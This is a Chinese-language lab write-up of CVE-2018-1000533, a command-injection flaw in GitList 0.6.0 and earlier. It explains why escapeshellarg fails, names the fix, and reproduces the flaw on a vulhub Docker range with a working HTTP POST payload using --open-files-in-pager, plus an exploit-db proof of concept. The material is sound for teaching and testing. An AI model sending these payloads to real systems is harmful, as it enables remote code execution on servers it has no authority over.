漏洞介绍

GitList是一款使用PHP开发的图形化git仓库查看工具。在其0.6.0版本及以前,存在一处命令参数注入问题,可以导致远程命令执行漏洞。

漏洞范围

GitList <= 0.6.0

漏洞靶场

使用vulhub的靶场:

使用环境为GitList 0.6.0

vulhub-master/gitlist/CVE-2018-1000533/

启动靶场环境:

1
docker-compose up -d

环境启动后,访问http://your-ip:8080将看到一个名为example的仓库。

漏洞原理

gitlist是一款使用PHP开发的图形化git仓库查看工具。在其0.6.0版本中,存在一处命令参数注入问题,可以导致远程命令执行漏洞。

在用户对仓库中代码进行搜索的时候,gitlist将调用git grep命令:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
public function searchTree($query, $branch)
{
if (empty($query)) {
return null;
}
$query = escapeshellarg($query);
try {
$results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
} catch (\RuntimeException $e) {
return false;
}

gitlist\src\Git\Repository.php#L319-L331

其中,$query是搜索的关键字,$branch是搜索的分支。

如果用户输入的$query的值是--open-files-in-pager=id;,将可以执行id命令:

1.png

escapeshellarg

PHP内置的命令执行函数(如shell_execsystem),都只接受一个“字符串”作为参数。而在内核中,这个字符串将被直接作为一条shell命令来调用,这种情况下就极为容易出现命令注入漏洞。

由于这个特点,PHP特别准备了两个过滤函数:

  • escapeshellcmd
  • escapeshellarg

二者分工不同,前者为了防止用户利用shell的一些技巧(如分号、反引号等),执行其他命令;后者是为了防止用户的输入逃逸出“参数值”的位置,变成一个“参数选项”。

escapeshellarg为什么没有奏效?

导致这个漏洞的原因,有几点:

  1. 开发者对于escapeshellarg函数的误解,造成参数注入
  2. git grep的参数--open-files-in-pager的值,将被直接执行

理论上,在经过$query = escapeshellarg($query);处理后,$query将变成一个由单引号包裹的字符串。但不出漏洞的前提是,这个字符串应该出现在“参数值”的位置,而不是出现在参数选项(option)中。

我们可以试一下如下命令:

1
git grep -i --line-number -e '--open-files-in-pager=id;' master

2.png

如上图,我将$query放在了-e参数的值的位置,此时它就仅仅是一个字符串而已,并不会被当成参数--open-files-in-pager

这应该作为本漏洞的最佳修复方法,也是git官方对pattern可能是用户输入的情况的一种解决方案(以下说明来自man-page):

漏洞复现

发送如下数据包:

1
2
3
4
5
6
7
8
POST /example/tree/a/search HTTP/1.1
Host: your-ip:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Content-Length: 56

query=--open-files-in-pager=touch /tmp/success;

image-20250514195947598

其中,我们访问的是/example/tree/a/search,example是项目名称,需要是目标gitlist上一个已存在的项目;a在正常情况下应该是分支的名称,也就是"grep -i --line-number {$query} $branch"中的$branch,但因为我们的$query被当成了一个参数,所以$branch就应该被当做搜索的关键字。

如果没有搜索结果的话,我们的命令是不会被执行的,所以我用了“a”这个关键字,只是为了保证能搜出结果,你也可以换成其他的试试。

数据包发送后,用docker compose exec web bash进入容器中,可见/tmp/success已成功创建:

image-20250514200044648

poc使用

https://www.exploit-db.com/download/44548

由于该漏洞无回显,采用dnslog验证

image-20250514205511657

1
python2 44548.py

image-20250514205545583

dnslog出现回显

image-20250514205608396

参考

https://www.leavesongs.com/PENETRATION/escapeshellarg-and-parameter-injection.html

https://github.com/vulhub/vulhub/blob/master/gitlist/CVE-2018-1000533/README.zh-cn.md